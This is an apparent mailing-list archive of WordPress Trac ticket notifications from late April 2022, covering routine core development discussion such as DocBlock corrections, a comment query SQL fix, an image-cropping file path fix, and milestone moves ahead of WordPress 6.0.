URL: <https://core.trac.wordpress.org/ticket/55480#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 21:09:53 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 21:09:53 -0000 Subject: [wp-trac] [WordPress Trac] #55414: Filter error suppression for individual DB query errors In-Reply-To: <051.64447bc0d666004eb2821da1c21570a2@wordpress.org> References: <051.64447bc0d666004eb2821da1c21570a2@wordpress.org> Message-ID: <066.d1b0479d2f80296573f5a28b48781fd8@wordpress.org> #55414: Filter error suppression for individual DB query errors --------------------------------------+--------------------- Reporter: bpayton | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.1 Component: General | Version: 5.9.2 Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Changes (by azaozz): * milestone: Awaiting Review => 6.1 Comment: The patch/PR looks good here. Thinking that being able to filter or redirect DB errors will be pretty useful in some cases, especially on bigger/busier sites. Can also be used by a plugin designed to categorize errors and send them to appropriate places, trigger alerts/warnings about specific errors, etc. all from whitin WP. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55414#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 21:24:48 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 21:24:48 -0000 Subject: [wp-trac] [WordPress Trac] #55480: Add filter to modify description in plugin card In-Reply-To: <051.94a4e115d6db28b6e051abfb65a2ef2b@wordpress.org> References: <051.94a4e115d6db28b6e051abfb65a2ef2b@wordpress.org> Message-ID: <066.12554ae1317d8dc25efe661f1ae83dbe@wordpress.org> #55480: Add filter to modify description in plugin card ------------------------------------------+----------------------------- Reporter: afragen | Owner: SergeyBiryukov Type: enhancement | Status: reopened Priority: normal | Milestone: 6.0 Component: Upgrade/Install | Version: Severity: normal | Resolution: Keywords: has-patch add-to-field-guide | Focuses: administration ------------------------------------------+----------------------------- Changes (by pbiron): * status: closed => reopened * resolution: fixed => Comment: Replying to [comment:9 afragen]: > @SergeyBiryukov I believe the reference for the `@param $plugin` is a reference to the output of a call to `plugins_api()` and not to the `plugin_row_meta` filter. > > Thanks @pbiron To expand on the above: this is in reference to the description of that param in the DocBlock. The param that is passed to [https://developer.wordpress.org/reference/hooks/plugin_row_meta/ plugin_row_meta] contains a number of properties about the plugin that are only set in `WP_Plugin_List_Table::single_row()` and would never be set in the param that is passed to `plugin_install_description`. The same discrepancy also applies to DocBlock of the [https://developer.wordpress.org/reference/hooks/plugin_install_action_links/ plugin_install_action_links] which was modified in the commit for this new filter. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55480#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 21:35:29 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 21:35:29 -0000 Subject: [wp-trac] [WordPress Trac] #55622: Remove Global Styles Message-ID: <059.f9f16b96b7bb91986748d13b563fe8c4@wordpress.org> #55622: Remove Global Styles -----------------------------+----------------------------- Reporter: PacesetterMedia | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.9.3 Severity: normal | Keywords: Focuses: css | -----------------------------+----------------------------- It's a bug, not a feature. It gets in the way of clean, light CSS. When WP adds wp-container-1 to the block group. Then WP controls image aling right with "wp-container-1 .alignright", inline, it's difficult, nearly impossible to adjust .alignright to be centered globally on small screens. All these extra classes imposed on everbody...without an option to remove the. This is how Microsoft or Adobe would impose themselves on everybody. Wow, this is horrible. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55622> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 21:44:22 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 21:44:22 -0000 Subject: [wp-trac] [WordPress Trac] #55480: Add filter to modify description in plugin card In-Reply-To: <051.94a4e115d6db28b6e051abfb65a2ef2b@wordpress.org> References: <051.94a4e115d6db28b6e051abfb65a2ef2b@wordpress.org> Message-ID: <066.c01995c8c8856ccf247fa359d377b636@wordpress.org> #55480: Add filter to modify description in plugin card ------------------------------------------+----------------------------- Reporter: afragen | Owner: SergeyBiryukov Type: enhancement | Status: reopened Priority: normal | Milestone: 6.0 Component: Upgrade/Install | Version: Severity: normal | Resolution: Keywords: has-patch add-to-field-guide | Focuses: administration ------------------------------------------+----------------------------- Comment (by SergeyBiryukov): Replying to [comment:10 pbiron]: > Replying to [comment:9 afragen]: > > I believe the reference for the `@param $plugin` is a reference to the output of a call to `plugins_api()` and not to the `plugin_row_meta` filter. > > > > Thanks @pbiron > > To expand on the above: this is in reference to the description of that param in the DocBlock. The param that is passed to [https://developer.wordpress.org/reference/hooks/plugin_row_meta/ plugin_row_meta] contains a number of properties about the plugin that are only set in `WP_Plugin_List_Table::single_row()` and would never be set in the param that is passed to `plugin_install_description`. Thanks! I think I went with a reference to `plugin_row_meta` because the `plugins_api()` DocBlock does not actually describe the structure of the returned array (as it depends on the arguments passed), and `plugin_row_meta` was the closest thing I could find. It looks like we could better document the `plugins_api()` response and link to that instead. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55480#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 21:49:24 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 21:49:24 -0000 Subject: [wp-trac] [WordPress Trac] #55480: Add filter to modify description in plugin card In-Reply-To: <051.94a4e115d6db28b6e051abfb65a2ef2b@wordpress.org> References: <051.94a4e115d6db28b6e051abfb65a2ef2b@wordpress.org> Message-ID: <066.5420566937fa646722310f854b4d31f6@wordpress.org> #55480: Add filter to modify description in plugin card ------------------------------------------+----------------------------- Reporter: afragen | Owner: SergeyBiryukov Type: enhancement | Status: reopened Priority: normal | Milestone: 6.0 Component: Upgrade/Install | Version: Severity: normal | Resolution: Keywords: has-patch add-to-field-guide | Focuses: administration ------------------------------------------+----------------------------- Comment (by afragen): Closest would likely be the `plugins_api_result` filter and that's also sorta documented in `plugins_api()`. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55480#comment:12> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 21:54:05 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 21:54:05 -0000 Subject: [wp-trac] [WordPress Trac] #55480: Add filter to modify description in plugin card In-Reply-To: <051.94a4e115d6db28b6e051abfb65a2ef2b@wordpress.org> References: <051.94a4e115d6db28b6e051abfb65a2ef2b@wordpress.org> Message-ID: <066.6f401a1376ac61e097d8b80512874535@wordpress.org> #55480: Add filter to modify description in plugin card ------------------------------------------+----------------------------- Reporter: afragen | Owner: SergeyBiryukov Type: enhancement | Status: reopened Priority: normal | Milestone: 6.0 Component: Upgrade/Install | Version: Severity: normal | Resolution: Keywords: has-patch add-to-field-guide | Focuses: administration ------------------------------------------+----------------------------- Comment (by pbiron): Replying to [comment:11 SergeyBiryukov]: > Thanks! I think I went with a reference to `plugin_row_meta` because the `plugins_api()` DocBlock does not actually describe the structure of the returned array (as it depends on the arguments passed), and `plugin_row_meta` was the closest thing I could find. It looks like we could better document the `plugins_api()` response and link to that instead. Yeah, `plugins_api()` isn't documented very well, especially since the description of the return value says to see the Code Reference for the `plugins_api()` function :-) -- Ticket URL: <https://core.trac.wordpress.org/ticket/55480#comment:13> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 22:23:31 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 22:23:31 -0000 Subject: [wp-trac] =?utf-8?q?=5BWordPress_Trac=5D_=2354088=3A_Uploading_m?= =?utf-8?q?edia_containing_Norwegian_letter_=C3=A5_does_not_automatically_?= =?utf-8?q?readjust_it_to_become_aa=2E?= In-Reply-To: <055.25817a5a91d00dd70732f09b4daa247d@wordpress.org> References: <055.25817a5a91d00dd70732f09b4daa247d@wordpress.org> Message-ID: <070.fc18fa4277c9cdcd24145da0da38891a@wordpress.org> #54088: Uploading media containing Norwegian letter å does not automatically readjust it to become aa. ------------------------------------------+----------------------- Reporter: paaljoachim | Owner: antpb Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Media | Version: Severity: normal | Resolution: Keywords: needs-patch needs-unit-tests | Focuses: ------------------------------------------+----------------------- Changes (by nielslange): * Attachment "Screenshot 2022-04-27 at 00.22.58.png" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54088> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 22:26:51 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 22:26:51 -0000 Subject: [wp-trac] =?utf-8?q?=5BWordPress_Trac=5D_=2354088=3A_Uploading_m?= =?utf-8?q?edia_containing_Norwegian_letter_=C3=A5_does_not_automatically_?= =?utf-8?q?readjust_it_to_become_aa=2E?= In-Reply-To: <055.25817a5a91d00dd70732f09b4daa247d@wordpress.org> References: <055.25817a5a91d00dd70732f09b4daa247d@wordpress.org> Message-ID: <070.d1966653fec6602c99c82a35ec3e126f@wordpress.org> #54088: Uploading media containing Norwegian letter å does not automatically readjust it to become aa. ------------------------------------------+----------------------- Reporter: paaljoachim | Owner: antpb Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Media | Version: Severity: normal | Resolution: Keywords: needs-patch needs-unit-tests | Focuses: ------------------------------------------+----------------------- Comment (by nielslange): I just ran a quick test and this problem seems to affect more letters than only **å**. As seen in the screenshot above, it also affects **ạ** and **ā**. That said, I only tested **å**, **æ**, **ạ** and **ā**. There might be many more characters affected. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54088#comment:25> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 23:11:47 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 23:11:47 -0000 Subject: [wp-trac] [WordPress Trac] #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 In-Reply-To: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> References: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> Message-ID: <072.8b430adcfddce86a6330b20246a54c13@wordpress.org> #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 -----------------------------+--------------------- Reporter: peterwilsoncc | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php80 has-patch | Focuses: -----------------------------+--------------------- Comment (by peterwilsoncc): Replying to [comment:61 SergeyBiryukov]: > The remaining work can be moved to 6.1, per comment:41. Thank you, I will leave you to create the follow up ticket. I'll keep this open for now in case any bugs are picked up in commits made on this ticket. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55327#comment:62> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 23:28:06 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 23:28:06 -0000 Subject: [wp-trac] [WordPress Trac] #44591: PHP notice if optional argument isn't passed to map_meta_cap() In-Reply-To: <056.313e6e825d638ddee4053b7cd5f8819f@wordpress.org> References: <056.313e6e825d638ddee4053b7cd5f8819f@wordpress.org> Message-ID: <071.b3c7d03a9b8aa4999ba99b7c4be75c37@wordpress.org> #44591: PHP notice if optional argument isn't passed to map_meta_cap() ---------------------------------------------+----------------------------- Reporter: henry.wright | Owner: SergeyBiryukov Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.1 Component: Users | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests commit | Focuses: ---------------------------------------------+----------------------------- Changes (by peterwilsoncc): * keywords: has-patch has-unit-tests => has-patch has-unit-tests commit * milestone: 6.0 => 6.1 Comment: As beta 3 was the [https://make.wordpress.org/polyglots/handbook/glossary /#soft-freeze soft string freeze], I'm moving this to the 6.1 milestone. The updated pull request was approved overnight so it's ready for commit. -- Ticket URL: <https://core.trac.wordpress.org/ticket/44591#comment:38> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 23:33:56 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 23:33:56 -0000 Subject: [wp-trac] [WordPress Trac] #55403: `wp_crop_image` returning incorrect file path when image formats filtered In-Reply-To: <052.84b9aebdf6341160f1e508c9526bd17f@wordpress.org> References: <052.84b9aebdf6341160f1e508c9526bd17f@wordpress.org> Message-ID: <067.980d157ffcda71c5901893f0a8159285@wordpress.org> #55403: `wp_crop_image` returning incorrect file path when image formats filtered ---------------------------------------------+----------------------------- Reporter: Mat Lipe | Owner: | adamsilverstein Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: General | Version: 5.8 Severity: normal | Resolution: Keywords: has-patch has-unit-tests commit | Focuses: ---------------------------------------------+----------------------------- Changes (by peterwilsoncc): * keywords: has-patch has-unit-tests => has-patch has-unit-tests commit -- Ticket URL: <https://core.trac.wordpress.org/ticket/55403#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Tue Apr 26 23:45:57 2022 From: noreply at wordpress.org (WordPress Trac) Date: Tue, 26 Apr 2022 23:45:57 -0000 Subject: [wp-trac] [WordPress Trac] #55218: WP_Comment_Query: "Column 'comment_ID' in where clause is ambiguous" when mixing 'include_unapproved' and 'meta_query' In-Reply-To: <058.5b36a44e9a4be04ecc66d82fb2d52a10@wordpress.org> References: <058.5b36a44e9a4be04ecc66d82fb2d52a10@wordpress.org> Message-ID: <073.140c776754fb62b5da7628dde7371255@wordpress.org> #55218: WP_Comment_Query: "Column 'comment_ID' in where clause is ambiguous" when mixing 'include_unapproved' and 'meta_query' ---------------------------------------------+--------------------- Reporter: genosseeinhorn | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Comments | Version: 5.9 Severity: minor | Resolution: Keywords: has-patch has-unit-tests commit | Focuses: ---------------------------------------------+--------------------- Changes (by peterwilsoncc): * keywords: has-patch has-unit-tests => has-patch has-unit-tests commit Comment: Thanks JB. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55218#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 00:10:14 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 00:10:14 -0000 Subject: [wp-trac] [WordPress Trac] #55617: /wp/v2/pattern-directory/patterns endpoint: slug parameter has no effect on the response In-Reply-To: <057.f38b276a6c36b0f121e531610086a8b9@wordpress.org> References: <057.f38b276a6c36b0f121e531610086a8b9@wordpress.org> Message-ID: <072.9b13ef9cbc2496f62796724546ab33e5@wordpress.org> #55617: /wp/v2/pattern-directory/patterns endpoint: slug parameter has no effect on the response --------------------------------------+---------------------------- Reporter: antonvlasenko | Owner: antonvlasenko Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: REST API | Version: trunk Severity: major | Resolution: Keywords: has-patch has-unit-tests | Focuses: rest-api --------------------------------------+---------------------------- Comment (by antonvlasenko): I've marked this bug as major because WordPress sends a request to the `wp/v2/pattern-directory/patterns` endpoint when a user navigates the Site Editor page (`/wp-admin/site-editor.php`). It may happen that the list of available [https://wordpress.org/patterns/ patterns] supported by the current theme will be incorrect because the wrong response from the `wp/v2/pattern-directory/patterns` endpoint will get cached (for 1 hour). I haven't been able to spot any issues on the front end, but the bug is reproducible and can have unpredictable consequences. This issue is a follow-up from https://github.com/WordPress/wordpress- develop/pull/2488#discussion_r846384781 FYI: @spacedmonkey -- Ticket URL: <https://core.trac.wordpress.org/ticket/55617#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 04:08:30 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 04:08:30 -0000 Subject: [wp-trac] [WordPress Trac] #55218: WP_Comment_Query: "Column 'comment_ID' in where clause is ambiguous" when mixing 'include_unapproved' and 'meta_query' In-Reply-To: <058.5b36a44e9a4be04ecc66d82fb2d52a10@wordpress.org> References: <058.5b36a44e9a4be04ecc66d82fb2d52a10@wordpress.org> Message-ID: <073.f247e0690f9cf465af79d725f7e4bc65@wordpress.org> #55218: WP_Comment_Query: "Column 'comment_ID' in where clause is ambiguous" when mixing 'include_unapproved' and 'meta_query' ---------------------------------------------+---------------------------- Reporter: genosseeinhorn | Owner: peterwilsoncc Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Comments | Version: 5.9 Severity: minor | Resolution: fixed Keywords: has-patch has-unit-tests commit | Focuses: ---------------------------------------------+---------------------------- Changes (by peterwilsoncc): * owner: (none) => peterwilsoncc * status: new => closed * resolution: => fixed Comment: In [changeset:"53291" 53291]: {{{ #!CommitTicketReference repository="" revision="53291" Comments: Avoid DB error in comment meta queries. In `WP_Comment_Query` always include the table name when referencing `wp_comments.comment_ID`. This avoids ambiguity in when making meta queries as `wp_commentmeta` includes a column of the same name. Follow up to [47887]. Props genosseeinhorn, azouamauriac, audrasjb, peterwilsoncc. Fixes #55218. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55218#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 04:09:48 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 04:09:48 -0000 Subject: [wp-trac] [WordPress Trac] #55403: `wp_crop_image` returning incorrect file path when image formats filtered In-Reply-To: <052.84b9aebdf6341160f1e508c9526bd17f@wordpress.org> References: <052.84b9aebdf6341160f1e508c9526bd17f@wordpress.org> Message-ID: <067.54f3ce3053f5748b5ba112965a322666@wordpress.org> #55403: `wp_crop_image` returning incorrect file path when image formats filtered ---------------------------------------------+----------------------------- Reporter: Mat Lipe | Owner: | adamsilverstein Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Media | Version: 5.8 Severity: normal | Resolution: Keywords: has-patch has-unit-tests commit | Focuses: ---------------------------------------------+----------------------------- Changes (by peterwilsoncc): * component: General => Media -- Ticket URL: <https://core.trac.wordpress.org/ticket/55403#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 04:39:31 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 04:39:31 -0000 Subject: [wp-trac] [WordPress Trac] #49412: Store filesize media metadata In-Reply-To: <048.d8ea2d9b63398331a26540a3bcf35c2c@wordpress.org> References: <048.d8ea2d9b63398331a26540a3bcf35c2c@wordpress.org> Message-ID: <063.5374f964cef6563ba250efe0d905307d@wordpress.org> #49412: Store filesize media metadata -----------------------------+--------------------------- Reporter: Cybr | Owner: spacedmonkey Type: feature request | Status: reopened Priority: normal | Milestone: 6.0 Component: Media | Version: Severity: normal | Resolution: Keywords: | Focuses: performance -----------------------------+--------------------------- Changes (by peterwilsoncc): * keywords: has-patch has-unit-tests commit => -- Ticket URL: <https://core.trac.wordpress.org/ticket/49412#comment:57> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 04:53:22 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 04:53:22 -0000 Subject: [wp-trac] [WordPress Trac] #52879: The SCRIPT_DEBUG constant is ignored when concatenating scripts In-Reply-To: <050.0997e086af05947ea1cb8516ba3e746a@wordpress.org> References: <050.0997e086af05947ea1cb8516ba3e746a@wordpress.org> Message-ID: <065.50122dc19b1244b3a0e05a28a3e85cfa@wordpress.org> #52879: The SCRIPT_DEBUG constant is ignored when concatenating scripts -------------------------------------------------+------------------------- Reporter: azaozz | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Future | Release Component: Script Loader | Version: 2.8 Severity: minor | Resolution: Keywords: needs-patch needs-testing needs- | Focuses: javascript refresh | -------------------------------------------------+------------------------- Changes (by peterwilsoncc): * milestone: 6.0 => Future Release Comment: I've moved this to a future release as it hasn't seen the needed review/refresh during this cycle. -- Ticket URL: <https://core.trac.wordpress.org/ticket/52879#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 05:03:18 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 05:03:18 -0000 Subject: [wp-trac] [WordPress Trac] #55274: Special chars in attachment filename breaks srcset In-Reply-To: <051.aa743a59f50d27884f851151a38206b2@wordpress.org> References: <051.aa743a59f50d27884f851151a38206b2@wordpress.org> Message-ID: <066.a281a6dc749de8f4c0e436f3d0d38afd@wordpress.org> #55274: Special chars in attachment filename breaks srcset --------------------------+----------------------------- Reporter: dravnic | Owner: audrasjb Type: defect (bug) | Status: reviewing Priority: normal | Milestone: Future Release Component: Media | Version: 4.4 Severity: normal | Resolution: Keywords: | Focuses: --------------------------+----------------------------- Changes (by peterwilsoncc): * milestone: 6.0 => Future Release Comment: It seems the various patches on this ticket need consolidation and a little more work so I am moving this of the 6.0 milestone. Ideally, I think the tests would be separate and in addition to the spaces test. It would also be good to test some accents and non-latin characters as indicated in [comment:6 comment 6]. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55274#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 05:05:15 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 05:05:15 -0000 Subject: [wp-trac] [WordPress Trac] #51740: Test failures using MySQL 8 In-Reply-To: <051.898c9959e5a8fc3483350ae7f03dabb7@wordpress.org> References: <051.898c9959e5a8fc3483350ae7f03dabb7@wordpress.org> Message-ID: <066.91e8a8ee0b8ce1cedd396340741a251d@wordpress.org> #51740: Test failures using MySQL 8 --------------------------+----------------------------- Reporter: desrosj | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Future Release Component: Database | Version: Severity: normal | Resolution: Keywords: needs-patch | Focuses: --------------------------+----------------------------- Changes (by peterwilsoncc): * milestone: 6.0 => Future Release Comment: I'm moving this to a future release as RC 1 is approaching in a few days. -- Ticket URL: <https://core.trac.wordpress.org/ticket/51740#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 05:07:00 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 05:07:00 -0000 Subject: [wp-trac] [WordPress Trac] #55051: WP_Customize_Nav_Menu_Item_Setting class needs hooks/filters parity for preview and update In-Reply-To: <058.5074260e02c111a5c24c2d5047d339c5@wordpress.org> References: <058.5074260e02c111a5c24c2d5047d339c5@wordpress.org> Message-ID: <073.d3e713dffd21c63295da878f67ea4995@wordpress.org> #55051: WP_Customize_Nav_Menu_Item_Setting class needs hooks/filters parity for preview and update ----------------------------+----------------------------- Reporter: helgatheviking | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Future Release Component: Customize | Version: 4.3 Severity: normal | Resolution: Keywords: needs-patch | Focuses: ----------------------------+----------------------------- Changes (by peterwilsoncc): * milestone: 6.0 => Future Release Comment: As RC1 is approaching next week, I am moving this to a future release as it still requires a patch. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55051#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 05:10:29 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 05:10:29 -0000 Subject: [wp-trac] [WordPress Trac] #42362: WordPress database error Unknown column 'wp_mywordpresssite' in 'field list' In-Reply-To: <052.0424444789f89131e4a3240f0abc1fec@wordpress.org> References: <052.0424444789f89131e4a3240f0abc1fec@wordpress.org> Message-ID: <067.6c38a6013cf14edf98cf967788ee5dfe@wordpress.org> #42362: WordPress database error Unknown column 'wp_mywordpresssite' in 'field list' ------------------------------------+----------------------------- Reporter: lazam786 | Owner: SergeyBiryukov Type: defect (bug) | Status: reviewing Priority: normal | Milestone: Future Release Component: Database | Version: 4.6 Severity: normal | Resolution: Keywords: php8 php81 needs-patch | Focuses: ------------------------------------+----------------------------- Changes (by peterwilsoncc): * milestone: 6.0 => Future Release Comment: I'm moving this to a future release as RC1 is next week. The patch needs a refresh and there hasn't been any progress during the 6.0 cycle. -- Ticket URL: <https://core.trac.wordpress.org/ticket/42362#comment:39> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 05:20:09 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 05:20:09 -0000 Subject: [wp-trac] [WordPress Trac] #55403: `wp_crop_image` returning incorrect file path when image formats filtered In-Reply-To: <052.84b9aebdf6341160f1e508c9526bd17f@wordpress.org> References: <052.84b9aebdf6341160f1e508c9526bd17f@wordpress.org> Message-ID: <067.17422e55a36862500b269773960fee12@wordpress.org> #55403: `wp_crop_image` returning incorrect file path when image formats filtered ---------------------------------------------+----------------------------- Reporter: Mat Lipe | Owner: | adamsilverstein Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Media | Version: 5.8 Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests commit | Focuses: ---------------------------------------------+----------------------------- Changes (by peterwilsoncc): * status: assigned => closed * resolution: => fixed Comment: In [changeset:"53292" 53292]: {{{ #!CommitTicketReference repository="" revision="53292" Media: Ensure `wp_crop_image()` returns correct file type. Return the correct file path from `wp_crop_image()` when a developer modifies the file type with via the `image_editor_output_format` filter. Previously the function would return a broken file reference containing the original file extension rather than the one specified via the filter. Props mat-lipe, adamsilverstein. Fixes #55403. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55403#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 05:35:29 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 05:35:29 -0000 Subject: [wp-trac] [WordPress Trac] #48703: Update compressed images for a clean precommit:image output In-Reply-To: <058.fad4ddff597a5feef9c62f2acbcb40f0@wordpress.org> References: <058.fad4ddff597a5feef9c62f2acbcb40f0@wordpress.org> Message-ID: <073.c44ad6b97136c666db0ff5e245efdbf6@wordpress.org> #48703: Update compressed images for a clean precommit:image output ------------------------------+----------------------------- Reporter: SergeyBiryukov | Owner: SergeyBiryukov Type: task (blessed) | Status: assigned Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: Severity: normal | Resolution: Keywords: | Focuses: ------------------------------+----------------------------- Comment (by peterwilsoncc): In [changeset:"53293" 53293]: {{{ #!CommitTicketReference repository="" revision="53293" Built tools: Reduce file size of About page texture. Reduce the file size of the file `src/wp-admin/images/about-texture.png` by running it through the grunt precommit hook. Other modified files are not included in this commit as there is no change in file size. See #48703. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/48703#comment:22> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 05:38:35 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 05:38:35 -0000 Subject: [wp-trac] [WordPress Trac] #54008: Fix Grunt tasks for PHPUnit In-Reply-To: <050.8fd7e46e67406aa7b7189fcf03e5a907@wordpress.org> References: <050.8fd7e46e67406aa7b7189fcf03e5a907@wordpress.org> Message-ID: <065.7be6b7e98691224fc3eac592427824db@wordpress.org> #54008: Fix Grunt tasks for PHPUnit ------------------------------+----------------------------- Reporter: azaozz | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Future Release Component: Build/Test Tools | Version: 5.8 Severity: normal | Resolution: Keywords: needs-patch | Focuses: ------------------------------+----------------------------- Changes (by peterwilsoncc): * milestone: 6.0 => Future Release Comment: With WP 6.0 RC1 in a few days and no activity on this ticket, I am moving it to future release. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54008#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 05:41:12 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 05:41:12 -0000 Subject: [wp-trac] [WordPress Trac] #53650: Incorrect quotation marks in many strings In-Reply-To: <056.2f16afaee9e60e7a4de0b30328fb46d4@wordpress.org> References: <056.2f16afaee9e60e7a4de0b30328fb46d4@wordpress.org> Message-ID: <071.49a016167b57d7ece28d4874781800f7@wordpress.org> #53650: Incorrect quotation marks in many strings -------------------------------------+------------------------------- Reporter: tobifjellner | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Future Release Component: I18N | Version: 5.8 Severity: normal | Resolution: Keywords: has-patch needs-refresh | Focuses: coding-standards -------------------------------------+------------------------------- Changes (by peterwilsoncc): * milestone: 6.0 => Future Release Comment: I am moving this to a future release as the soft string freeze is in place for the WP 6.0 cycle. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53650#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 27 05:46:08 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 27 Apr 2022 05:46:08 -0000 Subject: [wp-trac] [WordPress Trac] #54877: Occasional PHP exception being thrown on WPDB/MySQLi connections In-Reply-To: <059.4bd105290cba4379e18b2351fd2a3304@wordpress.org> References: <059.4bd105290cba4379e18b2351fd2a3304@wordpress.org> Message-ID: <074.17762e8fd7a8dd40efa43059822c6f30@wordpress.org> #54877: Occasional PHP exception being thrown on WPDB/MySQLi connections 